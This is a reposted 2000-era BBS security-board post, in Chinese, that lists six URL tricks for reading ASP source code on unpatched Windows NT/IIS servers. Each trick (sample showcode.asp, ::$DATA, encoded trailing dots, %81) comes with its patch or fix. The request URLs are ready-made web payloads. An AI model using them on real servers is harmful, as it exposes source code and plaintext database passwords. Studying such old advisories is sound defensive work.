作者: sheepman (我挺敖) 看板: security
標題: [轉錄]偷看ASP原碼的6種方法
時間: Fri Mar 24 23:44:33 2000
大陸的bbs轉過來的，覺得大陸的"黑客"也滿多的
bbs.mit.edu 24 (23 is GB)
但註冊要先去http://bbs.mit.edu
大陸站裡算很快的bbs了,其他都龜的不像話,
希望大家也能把一些秘密說出來啦
發信人: lpx ( 紅日 @L@ 獨自遠行 ), 信區: Security
標 題: 偷看ASP原碼的6種方法
發信站: The unknown SPACE (Wed Feb 23 03:07:07 2000), 轉信
在沒有打Services Pack6補丁的NT server上，至少有6種方法可以
看到ASP程序的源代碼,它們是:
1、
http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp
解決方案:刪除showcode.asp
2、http://somewhere/something.asp::$DATA 解決方案: 裝sp3
3、http://somewhere/something.asp%2e 解決方案: 裝sp4
or http://somewhere/something.asp.(加一個點) 解決方案: 裝sp4
4、http://somewhere/something%2e%41sp
或者 http://somewhere/something%2e%asp 解決方案: 裝sp4
5、http://somewhere/something.asp%81 解決方案:裝sp6或者打補丁
6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp
最大的危害莫過於asp文件可以被上述方式讀出；數據庫密碼以明文形式暴露在黑客眼前;
--
※ Origin: 楓橋驛站 ◆ From: h115.s240.ts31.hinet.net
※ X-Info: samn -> chausamn@ksmail.seed.net.tw
※ X-Sign: 0SDO40A4QFdv8je1eIYE (00/03/25 9:02:02 )
|
 讓我們程式搜尋結果更加完美 如果您覺得該文件有幫助到您，煩請按下我如果您覺得該文件是一個一無是處的文件，也煩請按下我 |
|
該文件您看起來是亂碼嗎？您可以切換編碼方式試試看！ISO-8859-1 | latin1 | euc-kr | euc-jp | CP936 | CP950 | UTF-8 | GB2312 | BIG5 |
|